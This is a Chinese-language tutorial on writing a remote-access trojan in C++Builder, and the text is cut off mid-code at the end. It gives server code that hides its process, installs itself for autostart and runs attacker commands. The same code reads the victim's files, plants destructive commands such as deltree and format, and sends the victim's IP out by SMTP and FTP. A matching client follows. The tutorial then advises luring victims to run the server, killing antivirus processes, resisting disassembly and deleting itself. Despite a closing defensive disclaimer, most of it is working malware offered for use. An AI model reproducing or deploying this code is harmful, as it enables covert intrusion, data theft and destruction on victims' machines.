木马入门

木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

  我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

  自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

  首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

  Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

  我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

  首先判断目标机的操作系统是Win9x还是WinNt:

{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
 {
   typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
    //定义RegisterServiceProcess()函数的原型
    HINSTANCE hDLL;
   LPREGISTERSERVICEPROCESSlpRegisterServiceProcess;
   hDLL = LoadLibrary("KERNEL32");
   //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
    //得到RegisterServiceProcess()函数的地址
    lpRegisterServiceProcess(GetCurrentProcessId(),1);
   //执行RegisterServiceProcess()函数,隐藏本进程
   FreeLibrary(hDLL);
   //卸载动态链接库
 }
}

  这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:\\Windows\\System,并修改注册表,以便启动时自动加载:

{ 
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+"\\\\Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\\\Microsoft\\\\Windows\\\\
CurrentVersion\\\\Run",TRUE);
//打开键值Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,如果不存在,就创建之
try
 {
  //如果以下语句发生异常,跳至catch,以避免程序崩溃
  if(Registry->ReadString("crossbow")!=SystemPath+"\\\\Tapi32.exe")
    Registry->WriteString("crossbow",SystemPath+"\\\\Tapi32.exe");
    //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
   //如果不是,就写入以上键值和内容
 }
catch(...)
 {
 //如果有错误,什么也不做
 }
}

  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

  接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{
 FILE *fp=NULL;
 char * content;
 int times_of_try;
 char TempFile[MAX_PATH];
 //定义了一堆待会儿要用到的变量
 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\\\Win369.BAT")).c_str());
 //在%System%下建立一个文本文件Win369.bat,作为临时文件使用
 AnsiString temp=Socket->ReceiveText();
 //接收客户端(攻击者,也就是你自己)传来的数据
}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9个字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的长度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //将第11个字符转换成integer型,存入file_name变量
   //为什么要取第11个字符,因为第10个字符是空格字符
   content=(temp.SubString(12,number-11)+\'\\n\').c_str();
   //余下的字符串将被作为写入的内容写入目标文件
   FILE *fp=NULL;
   char filename[20];
   chmod("c:\\\\autoexec.bat",S_IREAD|S_IWRITE);
   chmod("c:\\\\config.sys",S_IREAD|S_IWRITE);
   //将两个目标文件的属性改为可读可写
   if(file_name==1)
    sprintf(filename,"%s","c:\\\\autoexec.bat");
    //如果第11个字符是1,就把Autoexec.bat格式化
   else if(file_name==2)
    sprintf(filename,"%s","c:\\\\config.sys");
    //如果第11个字符是1,就把Config.sys格式化
   times_of_try=0;
   //定义计数器
   while(fp==NULL)
    {
     //如果指针是空
    fp=fopen(filename,"a+");
    //如果文件不存在,创建之;如果存在,准备在其后添加
    //如果出错,文件指针为空,这样就会重复
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //跳至END处
    }
    }
   fwrite(content,sizeof(char),strlen(content),fp);
   //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
   fclose(fp);
   //写完后关闭目标文件
   Socket->SendText("Sucess");
   //然后发回“Success”的成功信息
  }
}

  你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开!(未完待续)

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{
else if(temp.SubString(0,3)=="dir")
{
  //如果前3个字符是“dir”
  int Read_Num;
  char * CR_LF="\\n";
  int attrib;
  char *filename;
  DIR *dir;
  struct dirent *ent;
  int number=temp.Length();
  //得到字符串的长度
  AnsiString Dir_Name=temp.SubString(5,number-3);
  //从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
  if(Dir_Name=="")
   {
    //如果目录名为空
    Socket->SendText("Fail By Open DIR\'s Name");
    //返回“Fail By Open DIR\'s Name”信息
    goto END;
    //跳到END
   }
  char * dirname;
  dirname=Dir_Name.c_str();
  if ((dir = opendir(dirname)) == NULL)
   {
    //如果打开目录出错
    Socket->SendText("Fail by your DIR\'s name!");
    //返回“Fail By Your DIR\'s Name”信息
    goto END;
    //跳到END
   }
  times_of_try=0;
  while(fp==NULL)
   {
    //如果指针是NULL
    fp=fopen(TempFile,"w+");
    //就创建system\\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
      {
      //如果已经试了100次了,仍未成功(真有耐心!)
      Socket->SendText("Fail By Open File");
      //就发回“Fail By Open File”的错误信息
      goto END;
      //并跳到END处
      }
    }
   while ((ent = readdir(dir)) != NULL)
    {
     //如果访问目标目录成功
     if(*(AnsiString(dirname)).AnsiLastChar()!=\'\\\\\')
     //如果最后一个字符不是“\\”,证明不是根目录
     filename=(AnsiString(dirname)+"\\\\"+ent->d_name).c_str();
     //加上“\\”字符后将指针指向目录流
     else
     filename=(AnsiString(dirname)+ent->d_name).c_str();
     //如果是根目录,则不用加“\\”
     attrib=_rtl_chmod(filename, 0);
     //得到目标文件的访问属性
     if (attrib & FA_RDONLY)
     //“&”字符是比较前后两个变量,如果相同返回1,否则返回0
     fwrite(" R",sizeof(char),3,fp);
     //将目标文件属性设为只读
     else
     fwrite(" ",sizeof(char),3,fp);
     //失败则写入空格
     if (attrib & FA_HIDDEN)
     fwrite("H",sizeof(char),1,fp);
     //将目标文件属性设为隐藏
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_SYSTEM)
     fwrite("S",sizeof(char),1,fp);
     //将目标文件属性设为系统
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_ARCH)
     fwrite("A",sizeof(char),1,fp);
     //将目标文件属性设为普通
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_DIREC)
     fwrite("

",sizeof(char),9,fp);
     //将目标文件属性设为目录
     else
     fwrite("     ",sizeof(char),9,fp);
     //失败则写入空格
     fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
     //将目录名写入目标文件
     fwrite(CR_LF,1,1,fp);
     //写入换行
    }
    fclose(fp);
    //关闭文件
    closedir(dir);
    //关闭目录
    FILE *fp1=NULL;
    times_of_try=0;
    while(fp1==NULL)
     {
     fp1=fopen(TempFile,"r");
     //打开Win369.bat准备读
     times_of_try=times_of_try+1;
     //计数器加1
     if(times_of_try>100)
     {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //并跳到END处
     }
     }
    AnsiStringReturn_Text="";
    char temp_content[300];
    for(int i=0;i<300;i++) temp_content[i]=\'\\0\';
    //定义的一个空数组
    Read_Num=fread(temp_content,1,300,fp1);
    //从目标文件中读入前300个字符
    while(Read_Num==300)
    {
    Return_Text=Return_Text+temp_content;
     //Return_Text变量加上刚才的300个字符
     for(int i=0;i<300;i++) temp_content[i]=\'\\0\';
     Read_Num=fread(temp_content,1,300,fp1);
     //重复
    };
   Return_Text=Return_Text+temp_content;
    //Return_Text变量加上刚才的300个字符
    fclose(fp1);
    //关闭目标文件
    Socket->SendText(Return_Text);
    //返回Return_Text变量的内容
  }
}  

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{
else if(temp.SubString(0,4)=="type")
{
  //如果前4个字符是“type”
  int Read_Num;
  int number=temp.Length();
  AnsiString File_Name=temp.SubString(6,number-4);
  //将目标文件流存入File_Name变量中
  times_of_try=0;
  while(fp==NULL)
   {
    fp=fopen(File_Name.c_str(),"r");
    //打开目标文件准备读
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
     //如果已试了100次了
      Socket->SendText("Fail By Open File");
      //返回“Fail By Open File”的错误信息
      goto END;
      //跳到END
    }
   }
  AnsiString Return_Text="";
  char temp_content[300];
  for(int i=0;i<300;i++) temp_content[i]=\'\\0\';
  //定义一个空数组
  Read_Num=fread(temp_content,1,300,fp);
  //从目标文件中读入前300个字符
  while(Read_Num==300)
   {
    Return_Text=Return_Text+temp_content;
    //Return_Text的内容加上刚才的字符
    for(int i=0;i<300;i++) temp_content[i]=\'\\0\';
    Read_Num=fread(temp_content,1,300,fp);
    //重复
   };
  Return_Text=Return_Text+temp_content;
  //Return_Text的内容加上刚才的字符
  fclose(fp);
  //关闭目标文件
  Socket->SendText(Return_Text);
  //返回Return_Text的内容,即你查看文件的内容
}
}

  咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{
else if(temp=="open")
{
  //如果收到的temp的内容是“open”
  mciSendString("set cdaudio door open", NULL, 0, NULL);
  //就弹出光驱的托盘
}
else if(temp=="close")
{
  //如果收到的temp的内容是“close”
  mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
  //就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}

接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
  SwapMouseButton(1);
  //交换鼠标左右键,简单吧?
}
}

  然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{
else if(temp=="reboot")
{
  //如果收到的temp的内容是“temp”
  DWORD dwVersion = GetVersion();
  //得到操作系统的版本号
  if (dwVersion < 0x80000000)
  {
    //操作系统是WinNt,不是Win9x
   HANDLE hToken;
   TOKEN_PRIVILEGES tkp;
   //定义变量
   OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY, &hToken);
   //OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
   //GetCurrentProcess()函数的作用是得到本进程的句柄
   LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
   //LookupPrivilegeValue()的作用是修改进程的权限
   tkp.PrivilegeCount = 1;
    //赋给本进程特权
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE,&tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
   //AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
   ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
    //强行退出WinNt并重启
  }
  else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
   //强行退出Win9x并重启
}
}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{
else
{
  //如果都不是
  char * CR_TF="\\n";
  times_of_try=0;
  while(fp==NULL)
  {
   fp=fopen(TempFile,"w+");
   //创建Win369.bat,如果已存在就覆盖
   times_of_try=times_of_try+1;
    //计数器加1
   if(times_of_try>100)
   {
    Socket->SendText("Fail By Open File");
    //返回“Fail By Open File”的信息
    goto END;
    //跳到END
   }
  }
  fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
  //写入欲执行的命令
  fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
  //写入换行符
  fclose(fp);
  //关闭Win369.bat
  system(TempFile);
  //执行Win369.bat
  Socket->SendText("Success");
  //返回“Success”信息
}
}

  你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。
  
  到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{
END:;
 Socket-〉Close();
 //关闭服务
 ServerSocket1-〉Active =true;
 //再次打开服务
 if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
 //如果SMTP服务器已连接则断开
 NMSMTP1-〉Host = "smtp.163.net";
 //选一个好用的SMTP服务器,如163、263、sina和btamail
 NMSMTP1-〉UserID = "";
 //你SMTP的ID
 try
 {
  NMSMTP1-〉Connect();
  //再次连接
 }
 catch(...)
 {
  goto NextTime;
  //跳到NextTime
 }
 NMSMTP1-〉PostMessage-〉FromAddress="I don\'t know!";
 //受害者的Email地址
 NMSMTP1-〉PostMessage-〉FromName= "Casualty";
 //受害者的名字
 NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";
 //将信发到我的邮箱,这一步很关键
 NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
 //信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
 NMSMTP1-〉PostMessage-〉Subject= "Server Running Now!";
 //信的主题
 NMSMTP1-〉SendMail();
 //发送!
 return;
 //返回

NextTime:
 NMFTP1-〉Host = "ftp.go.163.com";
 //你的FTP服务器的地址
 NMFTP1-〉UserID = "";
 //你的用户ID
 NMFTP1-〉Port = 21;
 //FTP端口号,一般为21
 NMFTP1-〉Password = "";
 //你的FTP的密码
 if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
 //如果已连接就断开
 try
  {
   NMFTP1-〉Connect();
   //再连接
  }
 catch(...)
  {
    return;
    //返回
  }
 AnsiString SendToSite = "ServerRunning on: " + NMFTP1-〉RemoteIP;
 //受害者的IP地址
 FILE * Upload;
 Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
 //创建一个新文件准备写,如果已存在就覆盖
 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
 //写入以上的SendToSite的内容
 fclose(Upload);
 //写完后关闭此文件
 NMFTP1-〉RemoveDir("public_html");
 //删除public_html目录
 NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
 //上传!

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sys\\stat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉

  至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!

  客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)

  双击Button1,在Button1Click事件中添加如下代码:

{
  if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
  //如果输入IP地址框或输入端口号框有一个为空,就什么也不作
  ClientSocket1-〉Address=Edit2-〉Text;
  //目标IP地址
  ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
  //目标端口号,本例中的44444
  ClientSocket1-〉Open();
  //连接!
}

选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:
{
 if((Edit1-〉Text=="editconf 1")||(Edit1-〉Text=="editconf 2"))
 //如果是要编辑autoexec.bat或config.sys
  Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);
  //发送命令和欲添加的语句
 else
  Socket-〉SendText(Edit1-〉Text);
  //否则只发送命令
}

  双击OnRead事件,在ClientSocket1Read下添加如下代码:
{
 AnsiString ReadIn = Socket-〉ReceiveText();
 //读入收到的返回信息
 Edit4-〉Text="";
 //清空编辑框
 FILE *fp;
 fp = fopen("ReadIn.tmp","w");
 //建立一个临时文件ReadIn.tmp
 fwrite(ReadIn.c_str(),1,10000,fp);
 //写入信息
 fclose(fp);
 //关闭之
 Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");
 //在编辑框中显示返回的信息
}

  为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入:

{
 if(Key==VK_RETURN)Button1Click(Sender);
 //如果敲的是回车键,就和点击Button1一样的效果
}

  最后再添加以下头文件:

#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"

终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

  接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?

  以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

  首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

  还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\
RunServices

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

  与exe文件建立关联:HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command
  与txt文件建立关联:HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command
  与dll文件建立关联:HKEY_CLASSES_ROOT\\dllfile\\shell\\open\\command

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion
\\Windows下添加如下键值"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取重要的密码文件如pwl和sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH),胡乱设置CMOS,加密MBR、HDPT和FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只不过后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾将上下而求索……

  如果你想更安全地执行你的入侵活动,就应该像广外女生一样可以杀掉防火墙和杀毒软件的进程。防火墙和杀毒软件监视的是特征码,如果你是新木马,它就不吱一声;但是如果你打开不寻常的端口,它就会跳出来报警。因此最好的办法是启动后立即分析当前进程,查找有没有常见防火墙和杀毒软件的进程,如果有就杀无赦。比如常见的如:Lockdown,天网防火墙,网络卫兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。杀掉后,再在特定的内存地址中作一个标记,使它们误以为自己已启动,因此不会再次启动自己了。
  
  针对来自反汇编工具的威胁。如果有人试图将你的木马程序反汇编,他成功后,你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品。首先想到的是条件跳转,条件跳转对于反向工程来说并不有趣。没有循环,只是跳转,作为使偷窃者令人头痛的路障。这样,就没有简单的反向操作可以执行了。陷阱,另一个我不太肯定,但听说有程序使用的方法:用CRC校验你的EXE文件,如果它被改变了,不要显示典型错误信息,而给予偷窃者致命的一击。

  最后如果你需要它完成任务后可以自己删除自己,我提示你:退出前建立一个批处理文件,加入循环删除本exe文件和本批处理文件自己的命令后保存,执行它,再放心地退出。你可以试一下,所有文件都消失了吧?!这叫“踏雪无痕”。

  入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不会报警,而且你自己心里也坦然一些——毕竟是自己的作品吗!如果你是系统管理员,那就请你不要偷懒,不仅要经常扫描1024以下的端口,而且包括1024以上的高端端口也要仔细扫描,65535个端口一个也不能漏。因为许多木马打开的就是高端端口(如本例中的4444)。

  写在最后:上面例子的用意并不是教你去如何攻击他人,目的只是让你了解木马的工作原理和简单的编写步骤,以便更好地防范和杀除木马,维护我们自己应有的网络安全。因此,请列位看官好自为之,不要乱下杀手啊!

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
    try
    {
    DWORD dwVersion = GetVersion();  //取得Windows的版本号
        if (dwVersion >= 0x80000000)     // Windows 9x隐藏任务列表
        {
           int (CALLBACK*rsp)(DWORD,DWORD);
          HINSTANCEdll=LoadLibrary("KERNEL32.DLL");  //装入KERNEL32.DLL
          rsp=(int(CALLBACK*)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口
          rsp(NULL,1);  //注册服务
          FreeLibrary(dll);  //释放DLL模块
        }
    }
    catch (Exception &exception)  //处理异常事件
    {
//处理异常事件
    }
    return 0;
}

 

3、程序的自加载运行技术

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run键值来实现自启动的程序:

  自装载部分:

HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\\\")+PName
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN\\\\",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
        Close();
}
else
{
    HKEY hkey;
    unsigned long k;
